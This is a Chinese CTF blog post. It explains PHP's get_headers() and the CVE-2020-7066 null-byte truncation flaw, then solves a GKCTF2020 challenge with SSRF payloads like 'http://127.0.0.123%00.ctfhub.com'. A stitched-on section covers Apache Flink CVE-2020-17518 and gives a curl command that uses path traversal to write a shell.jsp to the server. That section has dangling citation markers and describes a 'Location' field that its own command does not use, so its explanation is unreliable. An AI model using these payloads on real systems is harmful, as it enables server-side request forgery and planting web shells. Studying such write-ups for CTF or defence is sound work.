CTF中的CVE-2020-7066

PHP中get_headers函数

在PHP开发中,我们经常需要获取HTTP请求中发送的服务器信息,本文通过一个简单的PHP示例介绍了通过get_headers函数获取服务器的相关信息。

get_headers() 是PHP系统级函数,他返回一个包含有服务器响应一个 HTTP 请求所发送的标头的数组。 如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息(可用来判断远程文件是否存在)。

array get_headers ( string $url [, int $format = 0 ] )
url 目标 URL

示例

<?php
$url='http://www.phpernote.com';
print_r(get_headers($url));
print_r(get_headers($url,1));
?>

以上例程的输出类似于:

Array(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)Array(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

CVE-2020-7066

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

描述

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
测试脚本:

<?php 
//⽤户输⼊ 
$_GET['url'] =" http:// localhost \ 0.example.com "; 

$host = parse_url($_GET['url'], PHP_URL_HOST);    // 解析URL并返回其组成部分
if(substr($host, -12) !=='.example.com'){ 
	die(); 
}
$headers = get_headers($_GET['url']); 
var_dump($headers); 预期结果:
?>

[GKCTF2020]cve版签到

给出提示说是CVE-2020-7066
在这里插入图片描述
打开题目:
在这里插入图片描述
这里F12可以再network里面看到提示
在这里插入图片描述
点击View CTFHub之后发现多了URL多了个url?=
在这里插入图片描述
注意到了url,这不就是ssrf的标志吗???!!!
这里是一个ssrf,思路应该是构造ssrf让服务器去请求自己获得flag。但是这里利用正则表达式让我们请求的url只能以.ctfhub.com结尾。
这里就运用到的我们的CVE了,其实就是get_header()的CVE。这个函数特点就是会去请求url并返回header头部。但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。

构造payload:/?url=http://127.0.0.1%00.ctfhub.com
在这里插入图片描述
又说host必须以123结尾,构造:/?url=http://127.0.0.123%00.ctfhub.com
在这里插入图片描述
得到flag。

### Flink CVE-2020-17518 文件写入漏洞 Flag 获取方式 #### 背景介绍 CVE-2020-17518 是 Apache Flink 的一个高危漏洞,允许攻击者通过修改 HTTP 头部字段来实现任意文件写入。此漏洞影响版本范围为 Apache Flink 1.5.1 至 1.11.2[^3]。 当利用该漏洞时,通常目标是向服务器植入恶意脚本或配置文件以完成进一步渗透测试任务。Flag 获取通常是 CTF安全演练中的一个重要环节,其核心在于如何成功执行命令或将特定数据写入指定路径下的文件中。 --- #### 利用过程概述 为了获取 Flag,可以通过以下方式进行: 1. **构建恶意请求** 攻击者需要构造一个带有自定义 `Location` 参数的 POST 请求,用于覆盖默认的目标存储路径。具体来说,`Location` 字段决定了上传文件保存的位置。如果设置成 `/etc/passwd` 或其他敏感文件,则可能引发服务异常;但如果指向临时目录或者 Web 可访问区域,则可用来放置反序列化载荷或其他工具脚本。 下面是一个典型的 curl 命令示例: ```bash curl -X POST http://<target>:8081/jars/upload \ --header 'Content-Disposition: form-data; name="file"; filename="/../../../../../../tmp/shell.jsp"' \ --form file=@"/path/to/malicious_file" ``` 此处需要注意的是,`filename` 属性被篡改为包含多个 `../` 来突破正常沙盒限制,并最终定位至期望的目的地文件夹下[^5]。 2. **验证写入结果** 成功发送上述 payload 后,应立即检查对应位置是否存在预期生成的新文件。例如,在 Linux 平台上尝试读取刚才创建的内容确认是否生效: ```bash cat /tmp/shell.jsp ``` 如果一切顺利的话,应该能看到我们之前提交上去的数据片段。 3. **提取 Flag 数据** 接下来就是寻找实际比赛场景里预埋好的标记字符串了——这一步取决于主办方设计的具体规则以及隐藏形式。一般情况下会嵌套于某些特殊命名模式的日志记录、数据库表项甚至是图片元信息之中。因此建议采用正则表达式扫描整个磁盘分区查找匹配关键字的方式快速锁定答案所在之处: ```python import os def find_flag(directory, keyword): for root, dirs, files in os.walk(directory): for fname in files: fpath = os.path.join(root, fname) try: with open(fpath, errors='ignore') as fp: content = fp.read() if keyword in content: print(f"[+] Found flag at {fpath}") except Exception as e: pass # Example usage find_flag('/mnt', 'flag{') ``` 使用 Python 编写的这段简单函数可以帮助自动化这一繁琐流程,只需调整搜索起点与标志词即可适应不同题目需求[^4]。 --- ### 注意事项 尽管演示过程中展示了多种技术手段辅助解决问题,但在真实世界环境中实施此类行为均属非法入侵范畴,请务必严格遵守法律法规仅限授权范围内开展相关活动! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值